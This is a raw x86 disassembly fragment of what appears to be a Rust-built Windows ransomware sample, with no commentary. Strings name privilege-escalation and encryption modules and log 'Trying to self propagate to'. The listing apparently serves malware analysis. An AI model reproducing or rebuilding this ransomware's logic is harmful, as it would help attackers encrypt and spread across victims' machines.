call dword [eax + 0x14]
add esp, 8
mov bl, byte [esp + 0x64]
mov edi, ebx
mov bl, byte [esp + 0x77]
lea ecx, [esp + 0x130]
call fcn.0052e980
cmp byte [esp + 0x160], 2
je 0x48ea97
movsd xmm1, qword [esp + 0x150]
movsd xmm2, qword [esp + 0x148]
mov ecx, dword [esp + 0x160]
test bl, bl
mov edx, edi
movsd xmm0, qword [esp + 0x158]
sete al
test dl, 1
movsd qword [esp + 0xb0], xmm1
movsd xmm1, qword [esp + 0x140]
movsd qword [esp + 0xa8], xmm2
movsd xmm2, qword [esp + 0x130]
mov dword [esp + 0xc0], ecx
sete cl
movsd qword [esp + 0xb8], xmm0
or cl, al
or bl, dl
setne al
cmp cl, 1
movsd qword [esp + 0xa0], xmm1
movsd xmm1, qword [esp + 0x138]
movsd qword [esp + 0x90], xmm2
movsd qword [esp + 0x98], xmm1
jne 0x48d03e
test al, al
je 0x48d03e
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48cfee
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 8]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x683574
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x233
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
call fcn.00603e80
test eax, eax
je 0x48d0f9
mov eax, dword [esp + 0xa8]
test eax, eax
je 0x48d02e
mov edx, dword [esp + 0xb0]
mov ecx, dword [esp + 0xac]
test edx, edx
jne 0x48e698
test ecx, ecx
je 0x48d02e
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x84], 0
jmp 0x48e6ad
cmp dword [esp + 0x94], 0
je 0x48d05c
push dword [esp + 0x90]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0xa4]
test eax, eax
je 0x48d098
mov esi, dword [esp + 0x9c]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x48d081
add esi, 0xc
add edi, 0xfffffff4
je 0x48d098
cmp dword [esi], 0
je 0x48d079
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48d079
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x48d0c1
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48d0c1
push dword [esp + 0x9c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xac], 0
je 0x48d0df
push dword [esp + 0xa8]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xb8], 0
je 0x48ea97
push dword [esp + 0xb4]
jmp 0x48ea8a
cmp dword [esp + 0x94], 0
je 0x48d117
push dword [esp + 0x90]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0xa4]
test eax, eax
je 0x48d153
mov esi, dword [esp + 0x9c]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x48d13c
add esi, 0xc
add edi, 0xfffffff4
je 0x48d153
cmp dword [esi], 0
je 0x48d134
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48d134
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x48d17c
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48d17c
push dword [esp + 0x9c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xac], 0
je 0x48d19a
push dword [esp + 0xa8]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xb8], 0
je 0x48ea97
lea eax, [esp + 0xb4]
jmp 0x48ea88
mov eax, 1
push esi
push ebx
mov dword [esp + 0x188], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x12c]
xor edx, edx
mov ebx, dword [eax + 0xd8]
test ebx, ebx
je 0x48d234
mov dword [esp + 0x188], ebx
mov ebx, dword [eax + 0xe0]
test ebx, ebx
js 0x48f19a
mov dword [esp + 0x184], esi
je 0x48d236
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48d217
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48d226
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x48d23b
mov ecx, ebx
mov edx, 1
call fcn.0040a640
ud2
jmp 0x48d25c
mov esi, 1
push ebx
push dword [esp + 0x18c]
push esi
call sub.msvcrt.dll_memcpy
mov edx, esi
add esp, 0xc
mov ecx, dword [esp + 0x12c]
mov esi, dword [esp + 0x184]
mov eax, dword [esp + 0xfc]
movsd xmm0, qword [esp + 0xf4]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x198]
movsd qword [esp + 8], xmm0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x194]
mov dword [esp + 0x18], eax
mov eax, dword [esp]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x180]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x68]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x10c]
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x18c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x110]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x190]
mov dword [esp + 0x40], eax
movzx eax, word [esp + 0x78]
mov byte [esp + 0x44], 0
mov word [esp + 0x45], ax
mov al, byte [esp + 0x7a]
mov byte [esp + 0x47], al
mov dword [esp + 0x48], ecx
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], edx
lea ecx, [esp + 0x130]
lea edx, [esp + 8]
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
call fcn.004cc920
cmp dword [esp + 0x130], 0
je 0x48d33b
push dword [esp + 0x134]
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [esp + 0x138]
lock dec dword [eax]
jne 0x48d353
mov ecx, dword [esp + 0x138]
call fcn.004023c0
mov eax, dword [esp + 0x13c]
lock dec dword [eax]
jne 0x48d36b
mov ecx, dword [esp + 0x13c]
call fcn.00512a90
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48d441
lea eax, [esp + 0x120]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x477a00
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61d01c
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x88
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48d517
lea eax, [esp + 0xe8]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x477a00
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61d044
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x89
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov ecx, dword [esp + 0x6c]
mov al, byte [ecx + 0x144]
or al, byte [ecx + 0x145]
sete byte [esp + 0x10c]
je 0x48ddae
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48d5ef
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 8]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61d06c
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x8d
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [0x6d6b64]
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0xf0]
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
test eax, eax
je 0x48d8ee
mov ebx, dword [esp + 0xe8]
lea eax, [eax + eax*2]
lea eax, [ebx + eax*4]
mov dword [esp + 0x110], eax
jmp 0x48d64d
cmp dword [esp + 0x110], ebx
je 0x48d8ee
mov edx, dword [ebx]
mov esi, dword [ebx + 8]
lea ecx, [esp + 0x130]
push 1
push 0x6d4c2a
push esi
call fcn.0045fa60
add esp, 0xc
lea eax, [esp + 0x90]
mov dword [esp + 0x170], 0
mov dword [esp + 0x174], esi
mov word [esp + 0x178], 1
mov ecx, 0x14
lea esi, [esp + 0x130]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
call fcn.005077f0
test eax, eax
je 0x48d790
mov esi, eax
mov eax, dword [0x6f1130]
mov edi, edx
test eax, eax
jne 0x48d6ca
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f1fb
mov dword [0x6f1130], eax
push 8
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x48f1fb
mov dword [eax], esi
mov dword [eax + 4], edi
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], 1
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 0xfc], 1
mov ecx, 0x14
lea edi, [esp + 8]
lea esi, [esp + 0x90]
rep movsd dword es:[edi], dword [esi]
mov esi, 1
jmp 0x48d732
mov dword [eax + esi*8], edi
mov dword [eax + esi*8 + 4], ebx
inc esi
mov dword [esp], eax
mov dword [esp + 0xfc], esi
lea ecx, [esp + 8]
call fcn.005077f0
test eax, eax
je 0x48d770
mov edi, eax
cmp esi, dword [esp + 0xf8]
mov eax, dword [esp]
mov ebx, edx
jne 0x48d720
lea ecx, [esp + 0xf4]
mov edx, esi
call fcn.004160d0
mov eax, dword [esp + 0xf4]
jmp 0x48d720
mov eax, dword [esp + 0xf4]
mov edi, dword [esp + 0xf8]
mov ebx, dword [esp + 4]
cmp esi, 2
ja 0x48d7a2
jmp 0x48f1e2
mov eax, dword [0x6d6b64]
xor edi, edi
xor esi, esi
cmp esi, 2
jbe 0x48f1e2
lea edx, [esp + 0xf4]
lea ecx, [esp + 0x130]
mov dword [esp + 0x68], eax
add eax, 0x10
mov dword [esp + 8], 0x684594
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
add ebx, 0xc
mov dword [esp + 0x130], edx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x90]
lea edx, [esp + 8]
mov dword [esp + 0xf4], eax
mov dword [esp + 0x134], 0x49f430
mov dword [esp + 0x1c], 1
call fcn.0040a660
mov esi, dword [esp + 0x98]
test esi, esi
js 0x48f19a
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x94]
mov dword [esp + 4], edi
mov dword [esp], eax
mov dword [esp + 0x60], ecx
je 0x48d860
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48d84c
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48cb1b
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edi, eax
test eax, eax
jne 0x48d865
jmp 0x48cb1b
mov edi, 1
push esi
push dword [esp + 4]
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x8c]
cmp edx, dword [esp + 0x88]
jne 0x48d896
lea ecx, [esp + 0x84]
call fcn.0047de40
mov edx, dword [esp + 0x8c]
lea ecx, [edx + edx*2]
mov eax, dword [esp + 0x84]
inc edx
cmp dword [esp + 0x60], 0
mov dword [eax + ecx*4], edi
mov dword [eax + ecx*4 + 4], esi
mov dword [eax + ecx*4 + 8], esi
mov dword [esp + 0x8c], edx
je 0x48d8ca
push dword [esp]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 4], 0x1fffffff
je 0x48d640
push dword [esp + 0x68]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48d640
mov eax, dword [esp + 0x8c]
movsd xmm0, qword [esp + 0x84]
mov dword [esp + 0x80], eax
movsd qword [esp + 0x78], xmm0
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48d926
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f233
mov dword [0x6f1130], eax
push 0x1e0
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x48f233
mov dword [eax], 0
mov dword [eax + 0x30], 0
mov dword [eax + 0x60], 0
mov dword [eax + 0x90], 0
mov dword [eax + 0xc0], 0
mov dword [eax + 0xf0], 0
mov dword [eax + 0x120], 0
mov dword [eax + 0x150], 0
mov dword [eax + 0x180], 0
mov dword [eax + 0x1b0], 0
mov edi, eax
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48d9b2
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f244
mov dword [0x6f1130], eax
push 0x44
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x48f244
mov dword [eax + 8], 1
mov dword [eax + 0xc], 0
mov byte [eax + 0x10], 0
mov esi, eax
movaps xmm0, xmmword [0x6066d0]
movzx eax, word [esp + 8]
mov word [esi + 0x11], ax
mov al, byte [esp + 0xa]
mov byte [esi + 0x13], al
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 2
mov dword [esi + 0x24], edi
movups xmmword [esi + 0x28], xmm0
mov dword [esi + 0x38], 0xa
mov dword [esi + 0x3c], 0
mov byte [esi + 0x40], 0
movzx eax, word [esp + 0x90]
mov word [esi + 0x41], ax
mov al, byte [esp + 0x92]
mov byte [esi + 0x43], al
mov dword [esi], 1
mov dword [esi + 4], 1
lock inc dword [esi]
jle 0x48f20c
mov eax, dword [esp + 0x6c]
lea ecx, [esp + 0xf4]
lea ebx, [eax + 0x60]
mov edx, ebx
call fcn.00477a90
mov eax, dword [esp + 0x80]
movsd xmm0, qword [esp + 0x78]
movsd xmm1, qword [esp + 0xf4]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0xfc]
movsd qword [esp + 0x90], xmm0
movsd qword [esp + 0x9c], xmm1
movsd qword [esp + 8], xmm0
mov dword [esp + 0xa4], eax
movsd xmm1, qword [esp + 0xa0]
movsd xmm2, qword [esp + 0x98]
movsd qword [esp + 0x18], xmm1
movsd qword [esp + 0x10], xmm2
call fcn.005ee4a0
xor ecx, ecx
mov edi, eax
call fcn.005bfbd0
lock inc dword [eax]
jle 0x48f20c
mov dword [esp + 4], edi
mov dword [esp], eax
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48daf8
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f255
mov dword [0x6f1130], eax
push 0x14
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x48f255
mov dword [eax + 8], 0
mov dword [eax], 1
mov dword [eax + 4], 1
mov edi, eax
lock inc dword [eax]
jle 0x48f20c
mov al, byte [0x6f11b9]
mov dword [esp + 0x60], ebx
test al, al
je 0x48db84
mov byte [0x6f11b9], 1
call fcn.005c06a0
test eax, eax
je 0x48f210
mov ebx, dword [eax]
mov dword [eax], 0
test ebx, ebx
je 0x48db84
lock inc dword [ebx]
jle 0x48f20c
mov byte [0x6f11b9], 1
call fcn.005c06a0
test eax, eax
jne 0x48dba3
lock dec dword [ebx]
jne 0x48f210
mov ecx, ebx
call fcn.005c09a0
jmp 0x48f210
mov al, byte [0x6f11b9]
test al, al
je 0x48dbc5
mov byte [0x6f11b9], 1
call fcn.005c06a0
test eax, eax
je 0x48f210
xor ebx, ebx
mov ecx, dword [eax]
mov dword [eax], ebx
test ecx, ecx
mov dword [esp + 0x130], ecx
je 0x48dbd2
lock dec dword [ecx]
jne 0x48dbd2
mov ecx, dword [esp + 0x130]
call fcn.00402960
jmp 0x48dbd2
mov dword [esp + 0x130], 0
xor ebx, ebx
mov dword [esp + 0x68], ebx
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48dbf1
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f266
mov dword [0x6f1130], eax
push 0x28
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x48f266
mov ebx, dword [esp]
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 4]
mov dword [eax], ebx
mov dword [eax + 4], ecx
lea ecx, [esp + 0x130]
movsd xmm0, qword [esp + 8]
movsd xmm1, qword [esp + 0x10]
movsd qword [eax + 8], xmm0
movsd qword [eax + 0x10], xmm1
movsd xmm0, qword [esp + 0x18]
movsd qword [eax + 0x18], xmm0
mov dword [eax + 0x20], esi
mov dword [eax + 0x24], edi
push 0x620bb8
push eax
call fcn.005efa80
add esp, 8
cmp dword [esp + 0x130], 1
je 0x48f277
push dword [esp + 0x134]
call sub.KERNEL32.dll_CloseHandle
lock dec dword [ebx]
jne 0x48dc75
mov ecx, ebx
call fcn.004023c0
lock dec dword [edi]
jne 0x48dc81
mov ecx, edi
call fcn.00512a90
mov edi, dword [esp + 0x70]
lea ecx, [edi + 0xe8]
call fcn.00474820
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0xf4]
mov dword [esp], eax
call fcn.00477a90
mov ebx, dword [edi + 0xf4]
lock inc dword [ebx]
jle 0x48f20c
mov edi, dword [edi + 0xf8]
lock inc dword [edi]
mov eax, dword [esp + 0x6c]
jle 0x48f20c
lea edx, [eax + 0xfc]
lea ecx, [esp + 0x130]
call fcn.00477c50
mov eax, dword [esp + 0x6c]
movsd xmm0, qword [esp + 0xf4]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], esi
mov edx, dword [esp + 0xfc]
mov ecx, dword [esp + 0x138]
movzx eax, word [eax + 0x144]
mov word [esp + 0x44], ax
movsd qword [esp + 0x18], xmm0
movsd xmm0, qword [esp + 0x130]
mov dword [esp + 0x20], edx
mov dword [esp + 0x2c], ecx
mov edx, dword [esp + 0xf0]
mov ecx, dword [esp]
movsd qword [esp + 0x24], xmm0
movsd xmm0, qword [esp + 0xe8]
mov dword [esp + 0x38], edx
lea edx, [esp + 8]
movsd qword [esp + 0x30], xmm0
mov dword [esp + 0x3c], 2
mov dword [esp + 0x40], ecx
lea ecx, [esp + 0x90]
call fcn.00479000
cmp dword [esp + 0x90], 0
je 0x48dd7e
push dword [esp + 0x94]
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [esp + 0x98]
lock dec dword [eax]
jne 0x48dd96
mov ecx, dword [esp + 0x98]
call fcn.004023c0
mov eax, dword [esp + 0x9c]
lock dec dword [eax]
jne 0x48ddae
mov ecx, dword [esp + 0x9c]
call fcn.00512a90
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48de68
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 8]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61d08c
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0xc8
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
lea esi, [esp + 8]
mov edx, 0x62132c
mov ecx, esi
push 0x12
call fcn.004edd80
add esp, 4
cmp dword [esp + 8], 0
je 0x48debe
cmp byte [esp + 0xc], 3
jne 0x48ded6
mov edi, dword [esp + 0x10]
mov eax, dword [edi + 4]
push dword [edi]
call dword [eax]
add esp, 4
mov ecx, dword [edi + 4]
cmp dword [ecx + 4], 0
je 0x48debb
mov eax, dword [edi]
cmp dword [ecx + 8], 9
jb 0x48dead
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push edi
jmp 0x48dec9
cmp dword [esp + 0x10], 0
je 0x48ded6
push dword [esp + 0xc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48df8c
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61d0b4
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0xca
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push esi
push ecx
call dword [eax + 0x14]
add esp, 8
call fcn.004a9a50
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48e047
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61d0dc
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0xcc
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push esi
push ecx
call dword [eax + 0x14]
add esp, 8
lea ecx, [esp + 0x90]
mov edx, 0x683f38
push 0x16
call fcn.004edd80
add esp, 4
cmp dword [esp + 0x90], 0
je 0x48e0ab
cmp byte [esp + 0x94], 3
jne 0x48e135
mov edi, dword [esp + 0x98]
mov eax, dword [edi + 4]
push dword [edi]
call dword [eax]
add esp, 4
mov ecx, dword [edi + 4]
cmp dword [ecx + 4], 0
je 0x48e0a8
mov eax, dword [edi]
cmp dword [ecx + 8], 9
jb 0x48e09a
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push edi
jmp 0x48e128
lea ecx, [esp + 8]
mov edx, 0x683f4e
push 0x29
call fcn.004edd80
add esp, 4
cmp dword [esp + 8], 0
je 0x48e0ff
cmp byte [esp + 0xc], 3
jne 0x48e117
mov edi, dword [esp + 0x10]
mov eax, dword [edi + 4]
push dword [edi]
call dword [eax]
add esp, 4
mov ecx, dword [edi + 4]
cmp dword [ecx + 4], 0
je 0x48e0fc
mov eax, dword [edi]
cmp dword [ecx + 8], 9
jb 0x48e0ee
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push edi
jmp 0x48e10a
cmp dword [esp + 0x10], 0
je 0x48e117
push dword [esp + 0xc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x98], 0
je 0x48e135
push dword [esp + 0x94]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48e1eb
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61d0f8
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0xce
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push esi
push ecx
call dword [eax + 0x14]
add esp, 8
call fcn.00505550
mov esi, dword [esp + 0x6c]
lea ecx, [esp + 0x90]
